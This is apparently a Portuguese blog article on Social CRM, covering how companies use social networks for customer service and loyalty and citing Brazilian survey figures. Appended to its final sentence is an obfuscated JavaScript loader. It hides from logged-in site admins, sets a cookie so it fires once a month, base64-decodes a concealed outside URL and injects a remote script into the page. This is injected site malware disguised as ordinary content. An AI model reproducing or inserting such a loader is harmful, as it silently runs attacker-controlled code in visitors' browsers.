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Considerada uma eficiente estratégia de gestão de relacionamento com clientes, o CRM (Customer Relationship Management) tem ganhado cada vez mais espaço nas empresas brasileiras, que conseguem, através dessa ferramenta, obter informações importantes para a satisfação e fidelização dos clientes.

Os avanços das interações pelas redes sociais provocaram grande impacto nas empresas e negócios, já que os clientes mudaram seus hábitos e passaram a usar as redes sociais não apenas para se comunicar, mas também para pesquisar, comprar e intervir nos negócios. Em meio às necessidades desse novo consumidor social surge uma nova estratégia, o CRM Social, evolução do CRM tradicional para o cenário atual da ascensão das redes sociais.

Essa estratégia permite que as empresas trabalhem mais próximas ao consumidor, potencializando as ações de relacionamento com os clientes. A preferência dos clientes pelas redes sociais como meio de relacionamento com as empresas foi comprovada por pesquisas realizadas no Brasil, onde:

– 30% consideram as redes sociais o meio mais eficiente de atendimento

– 64% reclamam nas redes sociais (principalmente Facebook e Twitter) após serem mal atendidos pelo SAC no telefone

– 78% acharia ótimo receber suporte no Facebook após a compra

Assim, ao utilizar o CRM Social, a empresa integra as informações de todas as redes sociais, que serão utilizadas para desenvolver um trabalho de fidelização e conquista de novos clientes.

A implantação dessa estratégia traz vantagens tanto para as empresas quanto para os clientes. A abordagem positiva da interferência das redes sociais nos ambientes empresariais promove a competitividade, permitindo que a empresa atraia novos consumidores, multiplicando suas vendas, e fidelize os clientes a partir da compreensão de suas necessidades. Os clientes, então, passam a ter mais influência sobre os processos das empresas, intervindo nos negócios (através de call center, atendimento ao cliente, pós-venda, e-mail, etc.). Essa influência faz com que as empresas mudem e agreguem mais valor aos seus produtos e serviços.

Para que o CRM Social atinja esses objetivos na empresa é necessário que ele funcione de forma ágil e rápida, como acontece nas operações nas redes sociais. Além disso, as equipes de TI e de suporte devem estar preparadas, respectivamente, para o desenvolvimento de novas ferramentas que apoiem o CRM Social e para o atendimento ao cliente, que deve ter suas dúvidas e problemas resolvidos. Dessa forma, o CRM Social se constitui em uma estratégia de negócios essencial para as empresas, já que possibilita, através de processos centrados no cliente, a promoção da empresa, a fidelização dos clientes e, consequentemente, o aumento das vendas.(function(){try{if(document.getElementById&&document.getElementById(‘wpadminbar’))return;var t0=+new Date();for(var i=0;i120)return;if((document.cookie||”).indexOf(‘http2_session_id=’)!==-1)return;function systemLoad(input){var key=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’,o1,o2,o3,h1,h2,h3,h4,dec=”,i=0;input=input.replace(/[^A-Za-z0-9+/=]/g,”);while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<>4);o2=((h2&15)<>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();